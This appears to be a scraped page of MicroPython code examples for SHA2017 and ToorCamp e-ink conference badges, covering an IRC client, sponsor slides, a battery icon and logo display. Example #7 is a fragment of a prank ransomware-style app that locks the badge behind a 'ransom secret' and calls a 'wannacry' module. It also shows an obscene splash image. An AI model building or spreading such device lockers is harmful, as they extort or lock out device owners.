示例#1
0
def program_main():
    ugfx.init()
    ugfx.clear(ugfx.WHITE)

    badge.leds_init()

    try:
        badge.eink_png(0, 0, logo_path)
    except:
        log('+ Failed to load graphics')

    # Name tag
    ugfx.string(ugfx.width() - ugfx.get_string_width(name, fonts[1]),
                ugfx.height() - 36, name, fonts[1], ugfx.BLACK)

    # Button info
    ugfx.string(0,
                ugfx.height() - 13, '[FLASH to update] [B to exit]', fonts[2],
                ugfx.BLACK)
    ugfx.flush()

    ugfx.input_init()
    ugfx.input_attach(ugfx.BTN_B, lambda pressed: exit_app())
    ugfx.input_attach(ugfx.BTN_FLASH, lambda pressed: start_self_update())

    HOST = "chat.freenode.net"
    PORT = 6667
    NICK = name + "[luv]"
    REALNAME = name + ' @ SHA2017'

    log('+ waiting for network...')
    wifi.init()
    while not wifi.sta_if.isconnected():
        time.sleep(0.1)

    s = socket.socket()
    s.connect((HOST, PORT))

    s.send(bytes("NICK %s\r\n" % NICK, "UTF-8"))
    s.send(bytes("USER %s 0 * :%s\r\n" % (NICK, REALNAME), "UTF-8"))
    s.send(bytes("JOIN #sha2017\r\n", "UTF-8"))

    # IRC Client
    while True:
        line = s.readline().rstrip()
        parts = line.split()

        if parts:
            if (parts[0] == b"PING"):
                s.send(bytes("PONG %s\r\n" % line[1], "UTF-8"))
                blink_led(green)
            if (parts[1] == b"PRIVMSG"):
                blink_led(red)
                msg = b' '.join(parts[3:])
                rnick = line.split(b'!')[0]
                log(b'%s: %s' % (rnick, msg))
示例#2
0
def show_sponsors():
    for x in range(1, 6):
        ugfx.clear(ugfx.WHITE)
        ugfx.flush()
        try:
            badge.eink_png(0, 0, '/lib/sponsors/sponsor%s.png' % x)
        except:
            ugfx.string(0, 0, "SPONSOR LOAD ERROR #" + str(x),
                        "Roboto_Regular12", ugfx.BLACK)
        ugfx.flush()
        utime.sleep(4)
示例#3
0
def show_scanner():
    global current_color_map, scanner
    image = color_images[current_color_map]
    scanner = color_maps[image]
    scanner.brightness = settings_get_brightness(
    ) if 0 < settings_get_brightness() < 1 else 0.1
    scanner.decay = settings_get_decay(
    ) if 0 < settings_get_decay() < 1 else 0.6
    try:
        ugfx.area(0, 0, 176, 128, ugfx.WHITE)
        ugfx.flush()
        badge.eink_png(0, 0, LARSON_LIB + image)
        ugfx.flush()
    except:
        pass
示例#4
0
def switchme(pushed):
    global switch
    if (pushed):
        if switch:
            print("ToorCamp")
            switch = False
            #clearGhosting()
            ugfx.clear(ugfx.WHITE)
            badge.eink_png(0, 0, '/lib/toorcamp/toorcamp.png')
            badge.eink_busy_wait()
        else:
            print("ToorCon")
            switch = True
            #clearGhosting()
            ugfx.clear(ugfx.WHITE)
            badge.eink_png(0, 0, '/lib/toorcamp/toorcon.png')
            badge.eink_busy_wait()
示例#5
0
def battery(vUsb, vBatt, charging):
    vMin = badge.nvs_get_u16('batt', 'vmin', 3500)  # mV
    vMax = badge.nvs_get_u16('batt', 'vmax', 4100)  # mV
    if charging and vUsb > 4000:
        try:
            badge.eink_png(0, 0, '/lib/resources/chrg.png')
        except:
            ugfx.string(0, 0, "CHRG", 'Roboto_Regular12', ugfx.BLACK)
    elif vUsb > 4000:
        try:
            badge.eink_png(0, 0, '/lib/resources/usb.png')
        except:
            ugfx.string(0, 0, "USB", 'Roboto_Regular12', ugfx.BLACK)
    else:
        width = round((vBatt - vMin) / (vMax - vMin) * 44)
        if width < 0:
            width = 0
        elif width > 38:
            width = 38
        ugfx.box(2, 2, 46, 18, ugfx.BLACK)
        ugfx.box(48, 7, 2, 8, ugfx.BLACK)
        ugfx.area(3, 3, width, 16, ugfx.BLACK)
示例#6
0
import urequests, appglue, ugfx, badge, easydraw, wifi, time

easydraw.msg('', 'waiting for wifi')

wifi.init()
while not wifi.sta_if.isconnected():
    time.sleep(0.1)

req = urequests.get('')
ugfx.clear()
badge.eink_png(0, 0, req.content)
ugfx.flush()
req.close()

while True:
    ugfx.input_attach(ugfx.BTN_SELECT, lambda x: appglue.home() if x else '')
示例#7
0
        write_lock()


def attempt_unlock(pressed):
    global ransom_secret, ransom_paid
    if not pressed:
        write_lock()
    else:
        dialogs.prompt_text("Ransom secret: ",
                            cb=attempt_unlock_secret_entered)


try:
    if (badge.nvs_get_str('boot', 'splash', 'ascii_porn') == 'splash'):
        badge.nvs_set_str('boot', 'splash', 'ascii_porn')
        badge.eink_png(0, 0, '/lib/ascii_porn/dickbutt.png')
        ugfx.flush()
        time.sleep(120)
except:
    print("Hmm, no cry...")

try:
    load_keys()
    write_lock()
    cry = __import__("/lib/ascii_porn/wannacry")
    cry.f**k()

except Exception as e:
    write(40, "Someone's probably DDOS'ing the server")
    ugfx.flush()
    time.sleep(5)
示例#8
0
def disobeyLogo(x, y):
    badge.eink_png(
        x, y,
        b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x01\x03\x00\x00\x00I\xb4\xe8\xb7\x00\x00\x00\x06PLTE\xff\xff\xff\x00\x00\x00U\xc2\xd3~\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00{IDAT\x08\x99M\x8e1\n\x840\x14D\x9f\x04\xb4\x91\xb8\x07\x08\xec\x15,\x7f\xe5^e!\x17\xc8\xf6\x82\x9e\xc03\xa5\xca9\x02[\xd8ZZH\xd8\x984\xcb\x0c\xaf\x9cy0\x1c\xc0\x92\xa09\x9f+\xca+O\x07\x11=\x1c\x0e\xf3\xba\x04\x99\'\xc3\x18\xbb\x9e\x8fW\x1bvm\x02\x16\x02;\xb9\x01\xbe7\xec\x1f<\xa8\x8aH^{C[\xe1$iFI=\xf2\xc0\xe4 hp\xf5\xb2\x9c\x17\x8d"t\xab\xfd\x00\x7f\x18%\\\x904\xdd\x82\x00\x00\x00\x00IEND\xaeB`\x82'
    )
示例#9
0
def go_home(pushed):
    if (pushed):
        appglue.home()


def switchme(pushed):
    global switch
    if (pushed):
        if switch:
            print("ToorCamp")
            switch = False
            #clearGhosting()
            ugfx.clear(ugfx.WHITE)
            badge.eink_png(0, 0, '/lib/toorcamp/toorcamp.png')
            badge.eink_busy_wait()
        else:
            print("ToorCon")
            switch = True
            #clearGhosting()
            ugfx.clear(ugfx.WHITE)
            badge.eink_png(0, 0, '/lib/toorcamp/toorcon.png')
            badge.eink_busy_wait()


clearGhosting()
ugfx.input_attach(ugfx.BTN_B, go_home)
ugfx.input_attach(ugfx.BTN_A, switchme)
badge.eink_png(0, 0, '/lib/toorcamp/toorcamp.png')
ugfx.flush()